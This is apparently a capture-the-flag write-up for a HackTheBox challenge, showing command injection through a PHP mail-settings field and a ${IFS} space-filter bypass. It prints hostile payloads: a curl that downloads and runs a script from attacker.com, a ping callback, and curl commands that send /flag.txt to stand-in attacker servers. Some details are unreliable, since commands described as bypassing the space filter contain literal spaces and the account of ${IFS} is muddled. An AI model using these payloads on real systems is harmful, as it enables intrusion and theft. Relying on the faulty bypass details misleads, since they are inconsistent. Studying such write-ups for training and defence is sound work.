Summary
The "Void Whispers" machine on HackTheBox presented a web application with a mail-settings panel. A critical vulnerability was discovered in how the application handled the sendMailPath field. This field was passed directly into the shell_exec() PHP function without proper sanitization or escaping. The application's filtering mechanism only addressed literal whitespace characters, a limitation that proved trivial to circumvent. By leveraging bash's ${IFS} variable, an attacker could inject commands without using spaces, enabling arbitrary command execution on the server. This was confirmed through observed timing delays and an out-of-band webhook callback, ultimately leading to the successful exfiltration of the /flag.txt file.
Reconnaissance
The challenge, themed around Halloween, featured a "Void Whispers" mail-settings panel. This was a small PHP application designed to allow users to configure various aspects of outgoing support notifications. The configurable fields included the "from name," "from email," "sendmail path," and the "mail program" to be used. The web page presented a straightforward form with these four input fields and a "Save" button. Submitting this form directed a POST request to the /update endpoint.
Initial reconnaissance involved examining the source code and network traffic. The application's apparent simplicity masked a critical flaw in its server-side processing of user inputs. Specifically, the update.php script, responsible for handling the form submissions, was found to be concatenating user-supplied data directly into a system command.
Vulnerability Analysis: Command Injection via sendMailPath
The core of the vulnerability lies within the update.php script. When the user submits the mail settings, the script processes the sendMailPath parameter. Instead of validating or sanitizing this input, the application directly embeds it into a call to shell_exec(). The command constructed looked something like this:
shell_exec("which $sendMailPath");
The intention behind this command was likely to verify that the specified sendmail path was a valid executable on the server. However, the lack of proper escaping or validation made it susceptible to command injection. The application's filtering mechanism was rudimentary, only checking for and removing literal space characters. This is a common oversight, as developers might assume that preventing spaces is sufficient to block command injection in many contexts.
Attackers can bypass this space filtering by using alternative field separators recognized by the shell. The bash shell, which is commonly found on Linux servers, uses the Internal Field Separator (IFS) to split words. By default, IFS includes space, tab, and newline characters. However, an attacker can explicitly set ${IFS} within their injected payload to a character that separates commands, such as a newline (
) or even a null byte, without using a literal space.
Exploitation: Bypassing Filters and Executing Commands
To exploit this vulnerability, the attacker needed to craft a payload for the sendMailPath field that bypassed the whitespace filter and executed arbitrary commands. A common technique involves using characters that the shell interprets as command separators or that can be substituted for spaces.
The exploit payload would typically look like this:
/usr/sbin/sendmail${IFS}-oQ/dev/null${IFS}-X/tmp/test${IFS}$(curl http://attacker.com/evil.sh)
In this example:
/usr/sbin/sendmailis the intended command or a placeholder.${IFS}replaces the space character.-oQ/dev/null -X/tmp/testare options that might be part of a legitimate sendmail command or are used to ensure the command executes without producing visible output locally.$(curl http://attacker.com/evil.sh)is the injected command. This part would execute acurlcommand to download a malicious script from an attacker-controlled server and then execute it.
The key is that ${IFS} is substituted by the shell with a whitespace character during command execution, effectively allowing the command to be parsed correctly by the shell, even though no literal space was present in the input string submitted by the user. This bypasses the application's rudimentary whitespace filtering.

Confirmation and Payload Delivery
Confirmation of command execution was achieved through two primary methods:
- Timing Delays: The attacker could inject a command like
sleep 5. If the web application responded after approximately 5 seconds, it indicated that the injected command was executed by the server. - Out-of-Band (OOB) Webhook Callback: A more definitive method involved using a payload that instructed the server to make an HTTP request to an attacker-controlled server. This could be achieved using tools like
curlorwget, or by leveraging other services that the server might have access to. For instance, injecting$(ping -c 1 attacker.com)would cause the server to send a ping request to the attacker's IP address, which could be logged. A more sophisticated OOB callback would involve a URL like$(curl http://attacker-webhook.com/received?data=$(cat /flag.txt)), which attempts to exfiltrate the flag directly.
The writeup confirms that an OOB webhook callback was successfully used, validating that arbitrary command execution was possible. This confirmed the exploit's viability and allowed for the retrieval of sensitive information.
Exfiltrating the Flag
With arbitrary command execution confirmed, the final step was to retrieve the target flag. The flag on HackTheBox machines is typically located at /flag.txt. The attacker could use the established command injection to read this file and exfiltrate its contents.
A typical command for this purpose, leveraging the same ${IFS} bypass, would be:
$(cat /flag.txt | curl -X POST -d @- http://attacker-server.com/log)
This command reads the content of /flag.txt, pipes it to curl, which then sends the flag content as data in a POST request to a logging endpoint on the attacker's server. Upon successful execution, the flag would be visible in the attacker's logs, completing the compromise of the Void Whispers machine.
Broader Implications
This vulnerability highlights a common security pitfall: inadequate input validation and sanitization when executing external commands. Relying solely on filtering whitespace is insufficient. Developers must always assume that user-supplied input is malicious and implement robust validation, escaping, and parameterized commands where possible. The use of shell_exec() with unvalidated input is a direct path to remote code execution and should be avoided. Using libraries specifically designed for executing shell commands with proper argument handling, or avoiding direct shell execution altogether in favor of safer alternatives, are crucial best practices.
